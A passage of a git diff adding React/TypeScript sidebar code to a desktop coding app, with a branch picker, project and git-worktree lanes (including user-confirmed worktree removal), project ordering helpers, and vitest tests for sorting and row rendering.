+  // popover — otherwise the button reads "branch off " with nothing after it.
+  useEffect(() => {
+    if (branches.length === 0 && !loading) {
+      void load()
+    }
+  }, [branches.length, loading, load])
+
+  // Pin the current session's branch to the top, keep the rest in git's
+  // most-recently-committed order.
+  const sorted = useMemo(() => {
+    if (!currentBranch) {
+      return branches
+    }
+
+    const idx = branches.findIndex(b => b.name === currentBranch)
+
+    if (idx <= 0) {
+      return branches
+    }
+
+    return [branches[idx], ...branches.slice(0, idx), ...branches.slice(idx + 1)]
+  }, [branches, currentBranch])
+
+  // The i18n function returns { before, after } so the branch name can be
+  // wrapped in its own styled (underlined) span — works for any word order.
+  const parts = p.branchOff()
+
+  return (
+    <div className="space-y-1.5">
+      <Popover
+        onOpenChange={next => {
+          if (next && branches.length === 0 && !loading) {
+            void load()
+          }
+
+          setOpen(next)
+        }}
+        open={open}
+      >
+        <PopoverTrigger asChild>
+          <Button
+            className="group w-full flex justify-start items-center min-w-0 gap-1.5 hover:no-underline hover:text-muted-foreground"
+            disabled={disabled || loading}
+            size="inline"
+            variant="text"
+          >
+            <Codicon className="shrink-0 text-(--ui-text-tertiary)" name="git-branch" size="0.8rem" />
+            <span className="shrink-0">{parts.before}</span>
+            <span className="shrink-0 text-primary underline-offset-4 decoration-current/20 group-hover:underline">
+              {loading ? '...' : value}
+            </span>
+            <Codicon className="shrink-0 text-(--ui-text-tertiary)" name="chevron-down" size="0.75rem" />
+            <span className="shrink-0">{parts.after}</span>
+          </Button>
+        </PopoverTrigger>
+        <PopoverContent align="start" className="z-(--z-modal-popover) min-w-(--radix-popover-trigger-width) p-0">
+          <Command filter={(searchValue, search) => (searchValue.toLowerCase().includes(search.toLowerCase()) ? 1 : 0)}>
+            <CommandInput autoFocus placeholder={p.baseBranchPlaceholder} />
+            <CommandList className="max-h-64">
+              <CommandEmpty>{p.baseBranchNone}</CommandEmpty>
+              <CommandGroup>
+                {sorted.map(branch => (
+                  <CommandItem
+                    key={branch.name}
+                    onSelect={() => {
+                      onValueChange(branch.name)
+                      setOpen(false)
+                    }}
+                    value={branch.name}
+                  >
+                    <div className="flex items-center justify-start gap-1.5">
+                      <Codicon
+                        className="shrink-0 text-(--ui-text-tertiary)"
+                        name={branch.isRemote ? 'repo' : 'git-branch'}
+                        size="0.8rem"
+                      />
+                      {branch.isDefault && (
+                        <span className="ml-auto shrink-0 text-[0.625rem] text-(--ui-text-tertiary)">★</span>
+                      )}
+                      <span className="truncate">{branch.name}</span>
+                      {value === branch.name && (
+                        <Codicon className="ml-auto shrink-0 text-(--ui-accent)" name="check" size="0.8rem" />
+                      )}
+                    </div>
+                  </CommandItem>
+                ))}
+              </CommandGroup>
+            </CommandList>
+          </Command>
+        </PopoverContent>
+      </Popover>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/entered-content.tsx b/ui-desktop/src/app/chat/sidebar/projects/entered-content.tsx
new file mode 100644
index 000000000..59468f7b3
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/entered-content.tsx
@@ -0,0 +1,287 @@
+import { useStore } from '@nanostores/react'
+import type * as React from 'react'
+import { useMemo, useState } from 'react'
+
+import type { SessionInfo } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import type { ClawCodexGitWorktree } from '@/global'
+import { useI18n } from '@/i18n'
+import { displayPath } from '@/lib/display-path'
+import { $dismissedWorktreeIds, dismissWorktree, setWorkspaceNodeOpen } from '@/store/layout'
+import { notifyError } from '@/store/notifications'
+import { removeWorktreePath } from '@/store/projects'
+
+import { SidebarRowStack } from '../chrome'
+
+import { useWorkspaceNodeOpen } from './model'
+import { SidebarWorkspaceGroup } from './workspace-group'
+import {
+  mergeRepoWorktreeGroups,
+  overlayRepoLanes,
+  type SidebarProjectTree,
+  type SidebarSessionGroup,
+  type SidebarWorkspaceTree
+} from './workspace-groups'
+import { WorkspaceAddButton, WorkspaceHeader } from './workspace-header'
+
+// The entered project's body. Main-checkout sessions render directly — no
+// redundant repo/branch header (the breadcrumb already names the project). Only
+// linked worktrees nest, shown by branch. Multi-folder projects keep per-repo
+// headers so the folders stay distinguishable.
+export function EnteredProjectContent({
+  project,
+  renderRows,
+  onNewSession,
+  repoWorktrees,
+  liveSessions,
+  removedSessionIds
+}: {
+  project: SidebarProjectTree
+  renderRows: (sessions: SessionInfo[]) => React.ReactNode
+  onNewSession?: (path: null | string) => void
+  repoWorktrees?: Record<string, ClawCodexGitWorktree[]>
+  liveSessions?: SessionInfo[]
+  removedSessionIds?: ReadonlySet<string>
+}) {
+  if (!project.repos.length) {
+    return null
+  }
+
+  // Home's rows aren't anchored to a folder, so there's no repo or worktree
+  // structure to show — just the chats.
+  if (project.isNoProject) {
+    return <>{renderRows(project.repos.flatMap(repo => repo.groups.flatMap(group => group.sessions)))}</>
+  }
+
+  const single = project.repos.length === 1
+
+  return (
+    <>
+      {project.repos.map(repo => (
+        <RepoFlatSection
+          discoveredWorktrees={repo.path ? repoWorktrees?.[repo.path] : undefined}
+          key={repo.id}
+          liveSessions={liveSessions}
+          onNewSession={onNewSession}
+          removedSessionIds={removedSessionIds}
+          renderRows={renderRows}
+          repo={repo}
+          showHeader={!single}
+        />
+      ))}
+    </>
+  )
+}
+
+function RepoFlatSection({
+  repo,
+  showHeader,
+  renderRows,
+  onNewSession,
+  discoveredWorktrees,
+  liveSessions,
+  removedSessionIds
+}: {
+  repo: SidebarWorkspaceTree
+  showHeader: boolean
+  renderRows: (sessions: SessionInfo[]) => React.ReactNode
+  onNewSession?: (path: null | string) => void
+  discoveredWorktrees?: ClawCodexGitWorktree[]
+  liveSessions?: SessionInfo[]
+  removedSessionIds?: ReadonlySet<string>
+}) {
+  const { t } = useI18n()
+  const s = t.sidebar
+  const [open, toggleOpen] = useWorkspaceNodeOpen(repo.id)
+  const dismissedWorktrees = useStore($dismissedWorktreeIds)
+
+  // The repo's session lanes already come fully built from the backend; this
+  // only injects empty VISUAL lanes from a live `git worktree list`.
+  const mergedGroups = useMemo(() => mergeRepoWorktreeGroups(repo, discoveredWorktrees), [repo, discoveredWorktrees])
+
+  // Optimistic placement runs against the MERGED lane set (backend + visual
+  // git-worktree lanes) so out-of-tree/sibling worktrees — which exist as visual
+  // lanes before the snapshot carries their sessions — get the new row. The
+  // overlay drops lanes it empties, so re-merge to restore still-real worktrees.
+  const overlaidGroups = useMemo(() => {
+    if (!(liveSessions?.length || removedSessionIds?.size)) {
+      return mergedGroups
+    }
+
+    const { groups } = overlayRepoLanes({ ...repo, groups: mergedGroups }, liveSessions ?? [], removedSessionIds)
+
+    return mergeRepoWorktreeGroups({ id: repo.id, path: repo.path, groups }, discoveredWorktrees)
+  }, [repo, mergedGroups, discoveredWorktrees, liveSessions, removedSessionIds])
+
+  const discoveredWorktreePaths = useMemo(
+    () =>
+      new Set(
+        (discoveredWorktrees ?? [])
+          .map(worktree => worktree.path?.trim())
+          .filter((path): path is string => Boolean(path))
+      ),
+    [discoveredWorktrees]
+  )
+
+  // Main lanes are always visible; linked worktrees can be user-dismissed.
+  // A live `git worktree list` hit wins over an old dismissal: if git says the
+  // worktree exists again (or still exists after "hide from sidebar"), surface it.
+  const ordered = overlaidGroups.filter(
+    group =>
+      group.isMain || !dismissedWorktrees.includes(group.id) || (group.path && discoveredWorktreePaths.has(group.path))
+  )
+
+  // Removal asks how: actually `git worktree remove` it, or just hide the lane
+  // and leave the worktree on disk. A dirty worktree escalates to a force prompt
+  // instead of erroring (those changes are usually throwaway).
+  const [removeTarget, setRemoveTarget] = useState<null | SidebarSessionGroup>(null)
+  const [forceTarget, setForceTarget] = useState<null | SidebarSessionGroup>(null)
+
+  const removeViaGit = async (group: SidebarSessionGroup, force = false) => {
+    if (!repo.path || !group.path) {
+      return
+    }
+
+    try {
+      await removeWorktreePath(repo.path, group.path, { force })
+      dismissWorktree(group.id)
+    } catch (err) {
+      // git refuses a non-force remove on a dirty/locked worktree — offer force
+      // rather than dead-ending on an error toast.
+      if (!force && /force|modified|untracked|dirty|locked|contains/i.test(String((err as Error)?.message ?? ''))) {
+        setForceTarget(group)
+      } else {
+        notifyError(err, s.projects.removeWorktreeFailed)
+      }
+    }
+  }
+
+  const body = (
+    <>
+      {ordered.map(group => (
+        <SidebarWorkspaceGroup
+          group={group}
+          key={group.id}
+          // The kanban bucket is read-only: it aggregates many task worktrees, so
+          // "new session here" and "remove worktree" have no single target.
+          onNewSession={group.isKanban ? undefined : onNewSession}
+          onRemove={group.isMain || group.isKanban ? undefined : () => setRemoveTarget(group)}
+          renderRows={renderRows}
+        />
+      ))}
+    </>
+  )
+
+  // Both removal prompts share the shape (hide-from-sidebar + cancel + a
+  // destructive action); only the copy and the destructive handler differ.
+  const worktreeDialog = (
+    target: null | SidebarSessionGroup,
+    setTarget: (next: null | SidebarSessionGroup) => void,
+    description: string,
+    destructiveLabel: string,
+    onDestructive: (group: SidebarSessionGroup) => void
+  ) => (
+    <Dialog onOpenChange={isOpen => !isOpen && setTarget(null)} open={Boolean(target)}>
+      <DialogContent>
+        <DialogHeader>
+          <DialogTitle>{`${s.projects.removeWorktree} "${target?.label ?? ''}"?`}</DialogTitle>
+          <DialogDescription>{description}</DialogDescription>
+        </DialogHeader>
+        <DialogFooter>
+          <Button onClick={() => setTarget(null)} variant="ghost">
+            {t.common.cancel}
+          </Button>
+          <Button
+            onClick={() => {
+              if (target) {
+                dismissWorktree(target.id)
+              }
+
+              setTarget(null)
+            }}
+            variant="secondary"
+          >
+            {s.projects.removeFromSidebar}
+          </Button>
+          <Button
+            onClick={() => {
+              setTarget(null)
+
+              if (target) {
+                onDestructive(target)
+              }
+            }}
+            variant="destructive"
+          >
+            {destructiveLabel}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+
+  const removeDialog = (
+    <>
+      {worktreeDialog(
+        removeTarget,
+        setRemoveTarget,
+        s.projects.removeWorktreeConfirm,
+        s.projects.removeWorktree,
+        group => void removeViaGit(group)
+      )}
+      {worktreeDialog(
+        forceTarget,
+        setForceTarget,
+        s.projects.removeWorktreeDirty,
+        s.projects.forceRemove,
+        group => void removeViaGit(group, true)
+      )}
+    </>
+  )
+
+  if (!showHeader) {
+    return (
+      <>
+        {body}
+        {removeDialog}
+      </>
+    )
+  }
+
+  return (
+    <SidebarRowStack>
+      <WorkspaceHeader
+        action={
+          onNewSession && (
+            <WorkspaceAddButton
+              label={s.newSessionIn(repo.label)}
+              onClick={() => {
+                // Reveal the repo the new session targets if the user had it
+                // collapsed — the session lands in one of its lanes.
+                setWorkspaceNodeOpen(repo.id, true)
+                onNewSession(repo.path)
+              }}
+            />
+          )
+        }
+        emphasis
+        icon={<Codicon className="shrink-0 text-(--ui-text-tertiary)" name="repo" size="0.75rem" />}
+        label={repo.label}
+        onToggle={toggleOpen}
+        open={open}
+        title={repo.path ? displayPath(repo.path) : undefined}
+      />
+      {open && <SidebarRowStack className="pl-2.5">{body}</SidebarRowStack>}
+      {removeDialog}
+    </SidebarRowStack>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/index.ts b/ui-desktop/src/app/chat/sidebar/projects/index.ts
new file mode 100644
index 000000000..53366611c
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/index.ts
@@ -0,0 +1,22 @@
+// Public surface of the project/worktree sidebar, consumed by the sidebar root.
+export { EnteredProjectContent } from './entered-content'
+export {
+  orderProjectsByIds,
+  PROJECT_PREVIEW_COUNT,
+  projectTreeCwd,
+  sortProjectsForOverview,
+  useRepoWorktreeMap
+} from './model'
+export { ProjectBackRow, ProjectOverviewRow } from './overview-row'
+export { ProjectMenu } from './project-menu'
+export { SidebarWorkspaceGroup } from './workspace-group'
+export {
+  excludeProjectSessions,
+  overlayLiveLanes,
+  overlayLivePreviews,
+  sessionRecency,
+  type SidebarProjectTree,
+  type SidebarSessionGroup,
+  type SidebarWorkspaceTree
+} from './workspace-groups'
+export { StartWorkButton } from './workspace-header'
diff --git a/ui-desktop/src/app/chat/sidebar/projects/model.test.ts b/ui-desktop/src/app/chat/sidebar/projects/model.test.ts
new file mode 100644
index 000000000..6a26081c5
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/model.test.ts
@@ -0,0 +1,78 @@
+import { describe, expect, it } from 'vitest'
+
+import { orderProjectsByIds, sortProjectsForOverview } from './model'
+import { NO_PROJECT_ID, type SidebarProjectTree } from './workspace-groups'
+
+function makeProject(id: string, sessionCount: number): SidebarProjectTree {
+  return {
+    id,
+    isAuto: true,
+    label: id,
+    lastActive: 0,
+    path: `/repos/${id}`,
+    previewSessions: [],
+    repos: [],
+    sessionCount
+  }
+}
+
+const home = (): SidebarProjectTree => ({
+  ...makeProject(NO_PROJECT_ID, 2),
+  isAuto: false,
+  isNoProject: true,
+  path: null
+})
+
+const ids = (projects: SidebarProjectTree[]) => projects.map(project => project.id)
+
+describe('orderProjectsByIds', () => {
+  it('leaves the deterministic sort alone when nothing has been dragged', () => {
+    const projects = [makeProject('a', 0), makeProject('b', 2)]
+
+    expect(orderProjectsByIds(projects, [])).toBe(projects)
+  })
+
+  it('applies the saved manual order', () => {
+    const projects = [makeProject('a', 1), makeProject('b', 1), makeProject('c', 1)]
+
+    expect(ids(orderProjectsByIds(projects, ['c', 'a', 'b']))).toEqual(['c', 'a', 'b'])
+  })
+
+  it('keeps freshly-scanned zero-session repos below the hand-ordered list', () => {
+    // The regression: a disk scan keeps finding git checkouts the user has
+    // never opened in ClawCodex. Surfacing every unsaved id at the top buried the
+    // projects they deliberately dragged into place.
+    const projects = [makeProject('scanned-1', 0), makeProject('mine', 4), makeProject('scanned-2', 0)]
+
+    expect(ids(orderProjectsByIds(projects, ['mine']))).toEqual(['mine', 'scanned-1', 'scanned-2'])
+  })
+
+  it('still surfaces a new project that has real activity', () => {
+    // A project you just started working in should not sink beneath the saved
+    // order — only the zero-session discoveries do.
+    const projects = [makeProject('ordered', 1), makeProject('just-started', 3)]
+
+    expect(ids(orderProjectsByIds(projects, ['ordered']))).toEqual(['just-started', 'ordered'])
+  })
+
+  it('drops ids that are no longer present', () => {
+    const projects = [makeProject('a', 1)]
+
+    expect(ids(orderProjectsByIds(projects, ['gone', 'a']))).toEqual(['a'])
+  })
+
+  it('keeps Home on top of a hand-picked order', () => {
+    const projects = [makeProject('a', 1), home(), makeProject('b', 1)]
+
+    expect(ids(orderProjectsByIds(projects, ['b', 'a']))).toEqual([NO_PROJECT_ID, 'b', 'a'])
+  })
+})
+
+describe('sortProjectsForOverview', () => {
+  it('puts Home above the active project', () => {
+    const active = { ...makeProject('active', 5), isAuto: false }
+    const projects = [makeProject('scanned', 0), active, home()]
+
+    expect(ids(sortProjectsForOverview(projects, 'active'))).toEqual([NO_PROJECT_ID, 'active', 'scanned'])
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/projects/model.ts b/ui-desktop/src/app/chat/sidebar/projects/model.ts
new file mode 100644
index 000000000..962e68acf
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/model.ts
@@ -0,0 +1,177 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useMemo, useState } from 'react'
+
+import type { SessionInfo } from '@/clawcodex'
+import type { ClawCodexGitWorktree } from '@/global'
+import { desktopGit } from '@/lib/desktop-git'
+import { mapPool } from '@/lib/pool'
+import { $sidebarWorkspaceNodeOpen, toggleWorkspaceNodeCollapsed } from '@/store/layout'
+import { $worktreeRefreshToken } from '@/store/projects'
+
+import { sessionRecency, type SidebarProjectTree } from './workspace-groups'
+
+// Page size when revealing more already-loaded rows within a workspace group.
+export const SIDEBAR_GROUP_PAGE = 5
+
+// Recent sessions previewed under each project in the overview.
+export const PROJECT_PREVIEW_COUNT = 3
+
+// Max concurrent `git worktree list` probes when a project spans many repos.
+const WORKTREE_PROBE_CONCURRENCY = 4
+
+const pathListKey = (paths: string[]): string =>
+  paths
+    .map(path => path.trim())
+    .filter(Boolean)
+    .sort((a, b) => a.localeCompare(b))
+    .join('\n')
+
+// Every session in a project, across its repos/worktrees (order-agnostic).
+const projectSessions = (project: SidebarProjectTree): SessionInfo[] =>
+  project.repos.flatMap(repo => repo.groups.flatMap(group => group.sessions))
+
+export const projectTreeCwd = (project: SidebarProjectTree): null | string =>
+  project.path || project.repos.find(repo => repo.path)?.path || null
+
+// Overview rows carry their activity stamp from the backend (lanes are empty in
+// overview mode), falling back to loaded session times when present.
+const projectActivityTime = (project: SidebarProjectTree): number =>
+  Math.max(
+    project.lastActive ?? 0,
+    projectSessions(project).reduce((latest, s) => Math.max(latest, sessionRecency(s)), 0)
+  )
+
+// The project's most-recent sessions, for the overview preview under each row.
+export const latestProjectSessions = (project: SidebarProjectTree, limit: number): SessionInfo[] =>
+  [...projectSessions(project)].sort((a, b) => sessionRecency(b) - sessionRecency(a)).slice(0, limit)
+
+// Home is a fixture, not a project: it always leads the overview, above the
+// active project and outside any hand-picked order.
+const homeFirst = (projects: SidebarProjectTree[]): SidebarProjectTree[] =>
+  projects[0]?.isNoProject || !projects.some(project => project.isNoProject)
+    ? projects
+    : [...projects.filter(project => project.isNoProject), ...projects.filter(project => !project.isNoProject)]
+
+export function sortProjectsForOverview(
+  projects: SidebarProjectTree[],
+  activeProjectId: null | string
+): SidebarProjectTree[] {
+  const sorted = [...projects].sort((a, b) => {
+    const aActive = Boolean(activeProjectId && a.id === activeProjectId && !a.isAuto)
+    const bActive = Boolean(activeProjectId && b.id === activeProjectId && !b.isAuto)
+
+    if (aActive !== bActive) {
+      return aActive ? -1 : 1
+    }
+
+    if (!a.isAuto !== !b.isAuto) {
+      return a.isAuto ? 1 : -1
+    }
+
+    const aHasSessions = a.sessionCount > 0
+    const bHasSessions = b.sessionCount > 0
+
+    if (aHasSessions !== bHasSessions) {
+      return aHasSessions ? -1 : 1
+    }
+
+    return (
+      projectActivityTime(b) - projectActivityTime(a) ||
+      a.label.localeCompare(b.label, undefined, { sensitivity: 'base' })
+    )
+  })
+
+  return homeFirst(sorted)
+}
+
+// Layer the user's manual drag-order over the deterministic sort.
+//
+// This can't just be `orderByIds`: that surfaces every id missing from the saved
+// order at the TOP, which is right for sessions (a new chat should not sink) but
+// wrong here. The overview also lists repos found by the disk scan that have
+// zero ClawCodex sessions, and those arrive continuously — so once the user dragged
+// anything, every freshly-scanned checkout jumped above the projects they
+// actually work in.
+//
+// Fresh projects keep their place in the deterministic sort instead: ones with
+// real activity go on top (a project you just started still surfaces), and
+// zero-session discoveries sink below the hand-ordered list.
+export function orderProjectsByIds(projects: SidebarProjectTree[], orderIds: string[]): SidebarProjectTree[] {
+  if (!orderIds.length) {
+    return projects
+  }
+
+  const byId = new Map(projects.map(project => [project.id, project]))
+  const ordered = orderIds.map(id => byId.get(id)).filter((p): p is SidebarProjectTree => Boolean(p))
+  const seen = new Set(ordered.map(project => project.id))
+  const fresh = projects.filter(project => !seen.has(project.id))
+
+  if (!fresh.length) {
+    return homeFirst(ordered)
+  }
+
+  return homeFirst([
+    ...fresh.filter(project => project.sessionCount > 0),
+    ...ordered,
+    ...fresh.filter(project => project.sessionCount <= 0)
+  ])
+}
+
+// Project drill-in lanes are git-driven: source them from `git worktree list` so
+// linked worktrees still appear even when their sessions aren't in the recents
+// payload currently loaded in memory.
+export function useRepoWorktreeMap(
+  repoPaths: string[],
+  enabled: boolean
+): [Record<string, ClawCodexGitWorktree[]>, boolean] {
+  const [map, setMap] = useState<Record<string, ClawCodexGitWorktree[]>>({})
+  const [loading, setLoading] = useState(false)
+  const key = useMemo(() => pathListKey(repoPaths), [repoPaths])
+  // Refetch when a worktree is added/removed so a new lane shows immediately.
+  const refreshToken = useStore($worktreeRefreshToken)
+
+  useEffect(() => {
+    const git = desktopGit()
+
+    if (!enabled || !repoPaths.length || !git?.worktreeList) {
+      setMap({})
+      setLoading(false)
+
+      return
+    }
+
+    let cancelled = false
+
+    setLoading(true)
+    // Bounded so a many-repo project doesn't spawn a `git` process per repo at once.
+    void mapPool(repoPaths, WORKTREE_PROBE_CONCURRENCY, async repoPath => {
+      try {
+        return [repoPath, await git.worktreeList(repoPath)] as const
+      } catch {
+        return [repoPath, []] as const
+      }
+    })
+      .then(entries => void (cancelled || setMap(Object.fromEntries(entries))))
+      .finally(() => void (cancelled || setLoading(false)))
+
+    return () => {
+      cancelled = true
+    }
+  }, [enabled, key, repoPaths, refreshToken])
+
+  return [map, loading]
+}
+
+// Persisted open/collapse for a repo/worktree node. Lets a project's folder
+// layout auto-restore when you enter it, and survive reloads.
+//
+// State is stored as the RESOLVED boolean per node (see `$sidebarWorkspaceNodeOpen`),
+// so a node whose `defaultOpen` flips — an empty worktree/branch lane defaults
+// collapsed, then defaults open once it holds a session — keeps whatever the
+// user explicitly chose instead of having it silently reinterpreted. An absent
+// id follows `defaultOpen`, so empty lanes still start collapsed until opened.
+export function useWorkspaceNodeOpen(id: string, defaultOpen = true): [boolean, () => void] {
+  const state = useStore($sidebarWorkspaceNodeOpen)
+
+  return [state[id] ?? defaultOpen, () => toggleWorkspaceNodeCollapsed(id, defaultOpen)]
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/overview-row.test.tsx b/ui-desktop/src/app/chat/sidebar/projects/overview-row.test.tsx
new file mode 100644
index 000000000..954c6f36e
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/overview-row.test.tsx
@@ -0,0 +1,81 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import type { ReactNode } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import type { SessionInfo } from '@/clawcodex'
+
+import { ProjectOverviewRow } from './overview-row'
+import type { SidebarProjectTree } from './workspace-groups'
+
+afterEach(cleanup)
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      sidebar: {
+        newSessionIn: (label: string) => `New session in ${label}`,
+        projects: {
+          enter: (label: string) => `Enter ${label}`,
+          reorder: (label: string) => `Reorder ${label}`,
+          toggle: (label: string, open: boolean) => `${open ? 'Show' : 'Hide'} ${label} sessions`
+        }
+      }
+    }
+  })
+}))
+
+vi.mock('./model', () => ({
+  PROJECT_PREVIEW_COUNT: 3,
+  latestProjectSessions: () => [],
+  useWorkspaceNodeOpen: () => [false, vi.fn()]
+}))
+
+// ProjectMenu (the kebab) has its own dedicated test file — stub it here so
+// this file only exercises overview-row's own Tip usage (the disclosure
+// toggle) plus the WorkspaceAddButton wiring. ProjectContextMenu (the row's
+// right-click wrapper) is stubbed as a pass-through so the row still renders.
+vi.mock('./project-menu', () => ({
+  ProjectContextMenu: ({ children }: { children: ReactNode }) => children,
+  ProjectMenu: () => null
+}))
+
+const project = { id: 'p1', label: 'Test D' } as unknown as SidebarProjectTree
+
+const tipTrigger = (el: HTMLElement) => el.closest('[data-slot="tooltip-trigger"]')
+
+describe('ProjectOverviewRow', () => {
+  it('wraps the "new session" add button in a Tip with the project-scoped label', () => {
+    render(<ProjectOverviewRow onNewSession={vi.fn()} project={project} />)
+
+    const button = screen.getByRole('button', { name: 'New session in Test D' })
+    expect(tipTrigger(button)).toBeTruthy()
+  })
+
+  it('wraps the disclosure toggle in a Tip when there are preview sessions', () => {
+    render(
+      <ProjectOverviewRow
+        previewSessions={[{ id: 's1' } as unknown as SessionInfo]}
+        project={project}
+        renderRows={() => null}
+      />
+    )
+
+    // Collapsed by default, so the disclosure offers to show the sessions.
+    const button = screen.getByRole('button', { name: 'Show Test D sessions' })
+    expect(tipTrigger(button)).toBeTruthy()
+  })
+
+  it('does not render the disclosure toggle when there is nothing to preview', () => {
+    render(<ProjectOverviewRow project={project} />)
+
+    expect(screen.queryByRole('button', { name: 'Show Test D sessions' })).toBeNull()
+  })
+
+  it('drops the "new session" add button on Home, which has no folder to start in', () => {
+    const home = { id: '__no_project__', isNoProject: true, label: 'Home' } as unknown as SidebarProjectTree
+
+    render(<ProjectOverviewRow onNewSession={vi.fn()} project={home} />)
+
+    expect(screen.queryByRole('button', { name: 'New session in Home' })).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/projects/overview-row.tsx b/ui-desktop/src/app/chat/sidebar/projects/overview-row.tsx
new file mode 100644
index 000000000..5c0d5e697
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/overview-row.tsx
@@ -0,0 +1,173 @@
+import type * as React from 'react'
+import { useRef } from 'react'
+
+import type { SessionInfo } from '@/clawcodex'
+import { Codicon } from '@/components/ui/codicon'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+import {
+  SIDEBAR_LEAD_ICON_SIZE,
+  SidebarRowBody,
+  SidebarRowCluster,
+  SidebarRowGrab,
+  SidebarRowLabel,
+  SidebarRowLead,
+  SidebarRowLeadGlyph,
+  SidebarRowLink,
+  SidebarRowNest,
+  SidebarRowShell
+} from '../chrome'
+
+import { latestProjectSessions, PROJECT_PREVIEW_COUNT, useWorkspaceNodeOpen } from './model'
+import { ProjectContextMenu, ProjectMenu } from './project-menu'
+import type { SidebarProjectTree } from './workspace-groups'
+import { WorkspaceAddButton } from './workspace-header'
+
+// A bare color dot (no icon) or an icon glyph — tinted by `color` when set, else
+// the lead's default tertiary. The glyph wrapper centers + caps size either way.
+export function projectIcon({ color, icon, isNoProject }: SidebarProjectTree) {
+  if (color && !icon) {
+    return (
+      <SidebarRowLeadGlyph>
+        <span aria-hidden="true" className="size-1 rounded-full" style={{ backgroundColor: color }} />
+      </SidebarRowLeadGlyph>
+    )
+  }
+
+  return (
+    <SidebarRowLeadGlyph style={color ? { color } : undefined}>
+      <Codicon name={icon || (isNoProject ? 'home' : 'folder-library')} size={SIDEBAR_LEAD_ICON_SIZE} />
+    </SidebarRowLeadGlyph>
+  )
+}
+
+export function ProjectBackRow({ label, onClick }: { label: string; onClick: () => void }) {
+  return (
+    <SidebarRowShell>
+      <SidebarRowBody
+        className="group/back w-full text-(--ui-text-tertiary) opacity-40 hover:text-foreground"
+        onClick={onClick}
+      >
+        <SidebarRowLead>
+          <SidebarRowLeadGlyph>
+            <Codicon name="arrow-left" size={SIDEBAR_LEAD_ICON_SIZE} />
+          </SidebarRowLeadGlyph>
+        </SidebarRowLead>
+        <SidebarRowLabel className="text-xs underline-offset-4 group-hover/back:underline">{label}</SidebarRowLabel>
+      </SidebarRowBody>
+    </SidebarRowShell>
+  )
+}
+
+interface ProjectOverviewRowProps {
+  project: SidebarProjectTree
+  onEnter?: (id: string) => void
+  onNewSession?: (path: null | string) => void
+  renderRows?: (sessions: SessionInfo[]) => React.ReactNode
+  activeProjectId?: null | string
+  previewSessions?: SessionInfo[]
+  reorderable?: boolean
+  dragging?: boolean
+  dragHandleProps?: React.HTMLAttributes<HTMLElement>
+  ref?: React.Ref<HTMLDivElement>
+  style?: React.CSSProperties
+}
+
+export function ProjectOverviewRow({
+  project,
+  onEnter,
+  onNewSession,
+  renderRows,
+  activeProjectId,
+  previewSessions,
+  reorderable = false,
+  dragging = false,
+  dragHandleProps,
+  ref,
+  style
+}: ProjectOverviewRowProps) {
+  const { t } = useI18n()
+  const s = t.sidebar
+  const isActive = project.id === activeProjectId
+  const [open, toggleOpen] = useWorkspaceNodeOpen(project.id)
+  // The appearance popover anchors here (the full row) so it opens flush with
+  // the sidebar's content edge regardless of which side the sidebar is on.
+  const rowRef = useRef<HTMLDivElement>(null)
+  const fetched = (previewSessions ?? []).slice(0, PROJECT_PREVIEW_COUNT)
+  const preview = renderRows ? (fetched.length ? fetched : latestProjectSessions(project, PROJECT_PREVIEW_COUNT)) : []
+
+  const lead = reorderable ? (
+    <SidebarRowGrab
+      ariaLabel={s.projects.reorder(project.label)}
+      dragging={dragging}
+      dragHandleProps={dragHandleProps}
+      leadClassName="overflow-visible"
+    >
+      {projectIcon(project)}
+    </SidebarRowGrab>
+  ) : (
+    <SidebarRowLead>{projectIcon(project)}</SidebarRowLead>
+  )
+
+  const shell = (
+    <SidebarRowShell
+      actions={
+        <>
+          {/* Home has no folder to start a chat in — the sidebar's own "New
+              session" is that button — and no record to rename or delete. */}
+          {onNewSession && !project.isNoProject && (
+            <WorkspaceAddButton label={s.newSessionIn(project.label)} onClick={() => onNewSession(project.path)} />
+          )}
+          {!project.isNoProject && <ProjectMenu anchorRef={rowRef} isActive={isActive} project={project} />}
+        </>
+      }
+      className={cn('group/workspace', dragging && 'cursor-grabbing bg-(--ui-sidebar-surface-background)')}
+      ref={rowRef}
+    >
+      <SidebarRowCluster className="min-w-0 flex-1">
+        {lead}
+        <SidebarRowLink
+          aria-label={s.projects.enter(project.label)}
+          labelClassName={cn('hover:text-foreground hover:underline', isActive && 'text-foreground')}
+          onClick={() => onEnter?.(project.id)}
+        >
+          {project.label}
+        </SidebarRowLink>
+        {preview.length > 0 ? (
+          <Tip label={s.projects.toggle(project.label, !open)}>
+            <button
+              aria-label={s.projects.toggle(project.label, !open)}
+              className="flex flex-1 items-center self-stretch bg-transparent p-0"
+              onClick={toggleOpen}
+              type="button"
+            >
+              <DisclosureCaret
+                className="shrink-0 text-(--ui-text-tertiary) opacity-0 transition group-hover/workspace:opacity-100"
+                open={open}
+              />
+            </button>
+          </Tip>
+        ) : (
+          <span className="flex-1" />
+        )}
+      </SidebarRowCluster>
+    </SidebarRowShell>
+  )
+
+  return (
+    <div className={cn(dragging && 'relative z-10')} ref={ref} style={style}>
+      {/* Home has no per-project actions, so it gets no right-click menu. */}
+      {project.isNoProject ? (
+        shell
+      ) : (
